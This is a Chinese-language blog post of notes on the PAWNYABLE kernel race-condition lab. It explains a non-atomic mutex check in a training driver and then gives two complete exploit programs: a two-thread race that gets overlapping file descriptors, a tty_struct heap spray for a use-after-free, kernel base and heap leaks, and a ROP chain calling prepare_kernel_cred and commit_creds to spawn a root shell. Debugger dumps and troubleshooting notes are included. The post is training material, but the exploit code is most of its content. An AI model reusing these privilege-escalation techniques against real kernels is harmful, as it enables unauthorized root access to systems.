PAWNYABLE kernel race condition 筆記

giacomo捏發表於2024-12-08

漏洞點在於,open 的時候 mutex 的檢查和設定不是原子操作。

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  if (mutex) {
    printk(KERN_INFO "resource is busy");
    return -EBUSY;
  }
  mutex = 1;

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

如何利用條件競爭

可以開啟兩個 fd 然後關閉,來確認接下來使用的兩個 fd 是哪個。


void *race(void *) {
    int fd;
    while(1) {

        while( !win ) {
            // 如果2個程序都開啟了裝置,那就把 win 設為 1
            fd = open("/dev/holstein", O_RDWR);
            if( fd == fd2) {
                win = 1;
            }

            if( win == 1 && fd != -1) {
                // 如果本程序開了裝置,而且另一個程序也開啟
                break;
            } else if ( win == 0 && fd != -1) {
                // 如果本程序開了裝置,但另一個程序沒開啟
                close(fd);
            } else if ( win == 1 && fd == -1) {
                // 如果本程序沒開裝置,但另一個程序開啟了
                win = 0;
            }
        }

        if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) {
            break;
        } else{
            // 當前的 fd 肯定不是 -1
            close(fd);
            // 重置為 0
            win = 0;
        }
    }
} 

void create_overlap() {
    // 提前測試 fd1 和 fd2 是多少
    pthread_t th1, th2;
    fd1 = open("/tmp", O_RDONLY); 
    fd2 = open("/tmp", O_RDONLY); 
    close(fd1);
    close(fd2);
    printf("[+] next fds: %d, %d\n", fd1, fd2);

    pthread_create(&th1, NULL, race, NULL);
    pthread_create(&th2, NULL, race, NULL);
    pthread_join(th1, NULL);
    pthread_join(th2, NULL);
    printf("[+] get next fds: %d, %d\n", fd1, fd2);

}

tyy spread 寫法

多執行緒用 tty structure 去 uaf 不是很穩定,常常用完了 fd 葉沒有拿到 tty structue...解決的方法是每次都檢查核心模組的地址有沒有被成功獲取,然後把之前開啟的沒用的 tty close 掉。

void *spread_tty( void *) {
    char leak[0x40];
    int i;

    for ( i = 0; i < SPREAD_SIZE; i++) {
        if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) {
            perror("open tty");
            goto fail;
        }

        if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) {
            printf("[+] spread tty success %d\n", i);
            for(int j = 0; j < i; j++) {
                close(tty[j]);
            }
            return &tty[i];
        }
    }
fail:
    printf("[-] spread tty failed %d\n", i);
    for(int j = 0; j < i; j++) {
        close(tty[j]);
    }
    return 0;
}

一些奇怪問題

Q1

受不了,怎麼兩次拿到一樣的堆塊...即使不拿到一樣的堆塊,之前寫著 rop 的塊也會被其他 tty 申請導致協商的內容會被覆蓋。可是 fd2 如果不關閉,那沒辦法再申請一次呀...?

/ $ ./exp
[+] next fds: 3, 4
[+] get next fds: 3, 4
[+] spread tty success 0
kbase ffffffff82000000
kheap ffffa3f681bca400
[+] next fds: 4, 5
[+] get next fds: 4, 5
[+] spread tty success 0
gadget ffffffff8261c440
addr2 ffffa3f681bca400

原來不用關閉 fd2,因為當 fd1 關閉的時候已經可以再次申請了啊啊

Q2

有個疑問 ,為什麼 iretq 會失敗?哦,逆天,我忘記save status 了...

Q3

現在可以了,就是可能不是很穩定?有時候 kbase 的偏移會出問題,嗷~好像是因為這個 opt 的原始地址貌似不是一樣的,申請的塊裡面有兩種地址,我之前沒有發現,導致計算 kbase 的是很難

pwndbg> x/10gx 0xffff9fd301bf9400 + 0x18
0xffff9fd301bf9418:     0xffffffff8fc3aec0      0x0000000000000004
0xffff9fd301bf9428:     0x0000000000000000      0x0000000000000000
0xffff9fd301bf9438:     0xffff9fd301bf9438      0xffff9fd301bf9438
0xffff9fd301bf9448:     0xffff9fd301bf9448      0xffff9fd301bf9448
0xffff9fd301bf9458:     0xffff9fd301221a00      0xffffffff8f61c320
pwndbg> x/10gx 0xffff9fd301bf9400 + 0x18 + 0x400
0xffff9fd301bf9818:     0xffffffff8fc3afe0      0x0000000000000004
0xffff9fd301bf9828:     0x0000000000000000      0x0000000000000000
0xffff9fd301bf9838:     0xffff9fd301bf9838      0xffff9fd301bf9838
0xffff9fd301bf9848:     0xffff9fd301bf9848      0xffff9fd301bf9848
0xffff9fd301bf9858:     0xffff9fd3012219f0      0x000000000000000

原始碼裡面 tty->ops 是由 driver 來確定的。但是 driver 可能不一樣?

	tty->driver = driver;
	tty->ops = driver->ops;
	tty->index = idx;
	tty_line_name(driver, idx, tty->name);
	tty->dev = tty_get_device(tty);

除錯了一下確實是兩個 driver

pwndbg> tele 0xffff8d02c13c06c0
00:0000│ rdi 0xffff8d02c13c06c0 ◂— 0x200005402
01:0008│     0xffff8d02c13c06c8 —▸ 0xffff8d02c1996590 —▸ 0xffff8d02c105cb80 ◂— 0
02:0010│     0xffff8d02c13c06d0 ◂— 0
03:0018│     0xffff8d02c13c06d8 —▸ 0xffffffff96f44eb1 ◂— 'pty_slave'
04:0020│     0xffff8d02c13c06e0 —▸ 0xffffffff96f269a7 ◂— 0x64616f6c00737470 /* 'pts' */
05:0028│     0xffff8d02c13c06e8 ◂— 0x8800000000
06:0030│     0xffff8d02c13c06f0 ◂— 0x10000000000000
07:0038│     0xffff8d02c13c06f8 ◂— 0x50000020004
pwndbg> tele 0xffff8d02c13c0600
00:0000│ r15 0xffff8d02c13c0600 ◂— 0x200005402
01:0008│     0xffff8d02c13c0608 —▸ 0xffff8d02c1996588 —▸ 0xffff8d02c105cb00 ◂— 0
02:0010│     0xffff8d02c13c0610 ◂— 0
03:0018│     0xffff8d02c13c0618 —▸ 0xffffffff96f44ea6 ◂— 'pty_master'
04:0020│     0xffff8d02c13c0620 —▸ 0xffffffff96f44edd ◂— 0x2d797474006d7470 /* 'ptm' */
05:0028│     0xffff8d02c13c0628 ◂— 0x8000000000
06:0030│     0xffff8d02c13c0630 ◂— 0x10000000000000
07:0038│     0xffff8d02c13c0638 ◂— 0x10004

一個是 pty_master 一個是 pty_slave [參考](ptmx(4): pseudoterminal master/slave - Linux man page) ,每次 open("/dev/ptmx", O_RDWR) 都會分配兩個 1024 大小的塊。

exp

現在好像比較穩定了

#include <fcntl.h>
#include <pthread.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include <sys/ioctl.h>

#define BUF_SIZE 0x400
#define SPREAD_SIZE 800
int win = 0;
char buf1[BUF_SIZE], buf2[BUF_SIZE];
int tty[SPREAD_SIZE];
int fd1, fd2;

// 0xffffffff810b13c5: pop rdi; ret; 
// 0xffffffff813006fc: pop rcx; pop rbx; pop rbp; ret; 
// 0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
// 0xffffffff8161c440: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop r13; pop rbp; ret; 
uint64_t pop_rdi_ret = 0xb13c5;
uint64_t pop_rcx_rbp_ret = 0x3006fc;
uint64_t mov_rdi_rax_ret = 0x65094b;
uint64_t gadget = 0x61c440;
uint64_t kbase, kheap;
uint64_t commit_creds = 0x723e0;
uint64_t prepare_kernel_cred =0x72580;
uint64_t srrartu = 0x800e10 + 22;
uint64_t modprobe_path = 0xe384c0;
uint64_t user_cs, user_ss, user_rflags, user_sp;

void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}

void print_hex(char *name, uint64_t addr) {
    printf("%s %" PRIx64 "\n", name, addr);
}

void binsh() {
    puts("get shell");
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}


// TODO 兩個開啟的 fc 怎麼確認
void *race(void *) {
    int fd;
    while(1) {

        while( !win ) {
            // 如果2個程序都開啟了裝置,那就把 win 設為 1
            fd = open("/dev/holstein", O_RDWR);
            if( fd == fd2) {
                win = 1;
            }

            if( win == 1 && fd != -1) {
                // 如果本程序開了裝置,而且另一個程序也開啟
                break;
            } else if ( win == 0 && fd != -1) {
                // 如果本程序開了裝置,但另一個程序沒開啟
                close(fd);
            } else if ( win == 1 && fd == -1) {
                // 如果本程序沒開裝置,但另一個程序開啟了
                win = 0;
            }
        }

        if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) {
            break;
        } else{
            // 當前的 fd 肯定不是 -1
            close(fd);
            // 重置為 0
            win = 0;
        }
    }
}


void set_rop() {
    // for(int i = 0; i < BUF_SIZE; i+=8) {
    //     *(uint64_t *)(buf1 + i) = i;
    // }
    *(uint64_t *)(buf1 + 0x60) = gadget + kbase;

    uint64_t rop_chain[] = {pop_rdi_ret + kbase,
                            0,
                            prepare_kernel_cred + kbase,
                            pop_rcx_rbp_ret + kbase,
                            0,
                            0,
                            0,
                            mov_rdi_rax_ret + kbase,
                            commit_creds + kbase,
                            srrartu + kbase,
                            0x1,
                            0x2,
                            (uint64_t)&binsh,
                            user_cs,
                            user_rflags,
                            user_sp,
                            user_ss};

    memcpy(buf1 + 0x90, rop_chain, sizeof(rop_chain));
    write(fd2, buf1, BUF_SIZE);
}


void create_overlap() {
    // 提前測試 fd1 和 fd2 是多少
    pthread_t th1, th2;
    fd1 = open("/tmp", O_RDONLY); 
    fd2 = open("/tmp", O_RDONLY); 
    close(fd1);
    close(fd2);
    printf("[+] next fds: %d, %d\n", fd1, fd2);

    pthread_create(&th1, NULL, race, NULL);
    pthread_create(&th2, NULL, race, NULL);
    pthread_join(th1, NULL);
    pthread_join(th2, NULL);
    printf("[+] get next fds: %d, %d\n", fd1, fd2);

}

void *spread_tty( void *) {
    char leak[0x40];
    int i;

    for ( i = 0; i < SPREAD_SIZE; i++) {
        if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) {
            perror("open tty");
            goto fail;
        }

        if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) {
            printf("[+] spread tty success %d\n", i);
            for(int j = 0; j < i; j++) {
                close(tty[j]);
            }
            return &tty[i];
        }
    }
fail:
    printf("[-] spread tty failed %d\n", i);
    for(int j = 0; j < i; j++) {
        close(tty[j]);
    }
    return 0;
}

int main() {

    save_status();

    pthread_t th;

    create_overlap();

    close(fd1);

    // TODO 開了太多描述符怎麼辦
    int *rt;
    rt = spread_tty(NULL);

    while(!rt) {
        pthread_create(&th, NULL, spread_tty, NULL);
        pthread_join(th, (void *)&rt);
    }
    
    read(fd2, buf1, BUF_SIZE);

    // kbase = *(uint64_t *)(buf1 + 24) - 0xc3afe0 ;
    kbase = (*(uint64_t *)(buf1 + 24) - 0xc3aec0) & 0xfffffffffffff000;
    
    kheap = *(uint64_t *)(buf1 + 56) - 56;

    print_hex("kbase", kbase);
    print_hex("kheap", kheap);
    print_hex("alloc_tty_struct", 0x334b30 + kbase);

    getchar();

    open("/dev/ptmx", O_RDWR);

    getchar();

    // put rop chain
    set_rop();

    // close(fd2);

    create_overlap();

    close(fd1);

    rt = spread_tty(NULL);
    
    while(!rt) {
        pthread_create(&th, NULL, spread_tty, NULL);
        pthread_join(th, (void *)&rt);
    }

    read(fd2, buf2, BUF_SIZE);
    *(uint64_t *)(buf2+24) = kheap;
    write(fd2, buf2, BUF_SIZE);

    print_hex("gadget", gadget + kbase);
    // for(int i = 0; i < BUF_SIZE; i+=8) {
    //     printf("%d", i);
    //     print_hex("buf2", *(uint64_t *)(buf2 + i));
    // }
    print_hex("addr2", (*(uint64_t *)(buf2 + 0x38) - 0x38));
    getchar();

    // 如今的 tty 是多少可以確定
    printf("[+] tty: %d\n", *rt);
    ioctl(*rt, kheap+0x80, kheap+0x80);
}

如果嘗試使用 sched_setaffinity 嘗試一下 bind cpu?

可以使用下面這種方法來繫結

  CPU_ZERO(&t1_cpu);
  CPU_ZERO(&t2_cpu);
  CPU_SET(0, &t1_cpu);
  CPU_SET(1, &t2_cpu);

...

  cpu_set_t *cpu_set = (cpu_set_t*)arg;
  if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set))
    fatal("sched_setaffinity");

...

  pthread_create(&th1, NULL, race, (void*)&t1_cpu);
  pthread_create(&th2, NULL, race, (void*)&t2_cpu);

即使我繫結了 cpu 成功率也只有大概二分之一,而且 gdb 除錯的時候十分正常...

#define _GNU_SOURCE
#include <sched.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include <sys/ioctl.h>


#define BUF_SIZE 0x400
#define SPREAD_SIZE 800
int win = 0;
char buf1[BUF_SIZE], buf2[BUF_SIZE];
int tty[SPREAD_SIZE];
int fd1, fd2;

// 0xffffffff810b13c5: pop rdi; ret; 
// 0xffffffff813006fc: pop rcx; pop rbx; pop rbp; ret; 
// 0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
// 0xffffffff8161c440: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop r13; pop rbp; ret; 
uint64_t pop_rdi_ret = 0xb13c5;
uint64_t pop_rcx_rbp_ret = 0x3006fc;
uint64_t mov_rdi_rax_ret = 0x65094b;
uint64_t gadget = 0x61c440;
uint64_t kbase, kheap;
uint64_t commit_creds = 0x723e0;
uint64_t prepare_kernel_cred =0x72580;
uint64_t srrartu = 0x800e10 + 22;
uint64_t modprobe_path = 0xe384c0;
uint64_t user_cs, user_ss, user_rflags, user_sp;

void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}

void print_hex(char *name, uint64_t addr) {
    printf("%s %" PRIx64 "\n", name, addr);
}

void binsh() {
    puts("get shell");
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}


// TODO 兩個開啟的 fc 怎麼確認
void *race(void *arg) {

    cpu_set_t *cpu_set = (cpu_set_t*)arg;
    sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);

    int fd;
    while(1) {

        while( !win ) {
            // 如果2個程序都開啟了裝置,那就把 win 設為 1
            fd = open("/dev/holstein", O_RDWR);
            if( fd == fd2) {
                win = 1;
            }

            if( win == 1 && fd != -1) {
                // 如果本程序開了裝置,而且另一個程序也開啟
                break;
            } else if ( win == 0 && fd != -1) {
                // 如果本程序開了裝置,但另一個程序沒開啟
                close(fd);
            } else if ( win == 1 && fd == -1) {
                // 如果本程序沒開裝置,但另一個程序開啟了
                win = 0;
            }
        }

        if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) {
            break;
        } else{
            // 當前的 fd 肯定不是 -1
            close(fd);
            // 重置為 0
            win = 0;
        }
    }
}


void set_rop() {
    // for(int i = 0; i < BUF_SIZE; i+=8) {
    //     *(uint64_t *)(buf1 + i) = i;
    // }
    *(uint64_t *)(buf1 + 0x60) = gadget + kbase;

    uint64_t rop_chain[] = {pop_rdi_ret + kbase,
                            0,
                            prepare_kernel_cred + kbase,
                            pop_rcx_rbp_ret + kbase,
                            0,
                            0,
                            0,
                            mov_rdi_rax_ret + kbase,
                            commit_creds + kbase,
                            srrartu + kbase,
                            0x1,
                            0x2,
                            (uint64_t)&binsh,
                            user_cs,
                            user_rflags,
                            user_sp,
                            user_ss};

    memcpy(buf1 + 0x90, rop_chain, sizeof(rop_chain));
    write(fd2, buf1, BUF_SIZE);
}

void *spread_tty( void *arg) {
    cpu_set_t *cpu_set = (cpu_set_t*)arg;
    sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);

    char leak[0x40];
    int i;

    for ( i = 0; i < SPREAD_SIZE; i++) {
        if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) {
            perror("open tty");
            goto fail;
        }

        if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) {
            printf("[+] spread tty success %d\n", i);
            for(int j = 0; j < i; j++) {
                close(tty[j]);
            }
            return &tty[i];
        }
    }
fail:
    printf("[-] spread tty failed %d\n", i);
    for(int j = 0; j < i; j++) {
        close(tty[j]);
    }
    return 0;
}

int create_overlap() {

    cpu_set_t t1_cpu, t2_cpu;

    CPU_ZERO(&t1_cpu);
    CPU_ZERO(&t2_cpu);
    CPU_SET(0, &t1_cpu);
    CPU_SET(1, &t2_cpu);

    // 提前測試 fd1 和 fd2 是多少
    pthread_t th1, th2, th;
    fd1 = open("/tmp", O_RDONLY); 
    fd2 = open("/tmp", O_RDONLY); 
    close(fd1);
    close(fd2);
    printf("[+] next fds: %d, %d\n", fd1, fd2);

    pthread_create(&th1, NULL, race, (void*)&t1_cpu);
    pthread_create(&th2, NULL, race, (void*)&t2_cpu);
    pthread_join(th1, NULL);
    pthread_join(th2, NULL);
    printf("[+] get next fds: %d, %d\n", fd1, fd2);

    close(fd1);

    int *rt;
    rt = spread_tty((void*)&t1_cpu);
    while(!rt) {
        pthread_create(&th, NULL, spread_tty, (void*)&t2_cpu);
        pthread_join(th, (void *)&rt);
    }
    return *rt;
}

int main() {

    save_status();

    create_overlap();

    read(fd2, buf1, BUF_SIZE);

    // kbase = *(uint64_t *)(buf1 + 24) - 0xc3afe0 ;
    kbase = (*(uint64_t *)(buf1 + 24) - 0xc3aec0) & 0xfffffffffffff000;
    kheap = *(uint64_t *)(buf1 + 56) - 56;
    print_hex("kbase", kbase);
    print_hex("kheap", kheap);

    // put rop chain
    set_rop();

    // 不需要 close(fd2); 因為在 fd1 close 的時候 mutex 已經為 0

    int rt = create_overlap();

    read(fd2, buf2, BUF_SIZE);
    *(uint64_t *)(buf2+24) = kheap;
    write(fd2, buf2, BUF_SIZE);
    print_hex("heap 2:", (*(uint64_t *)(buf2 + 56) - 56));
    print_hex("gadget", gadget + kbase);
    getchar();
    // 如今的 tty 是多少可以確定
    printf("[+] tty: %d\n", rt);
    ioctl(rt, kheap+0x80, kheap+0x80);
}

相關文章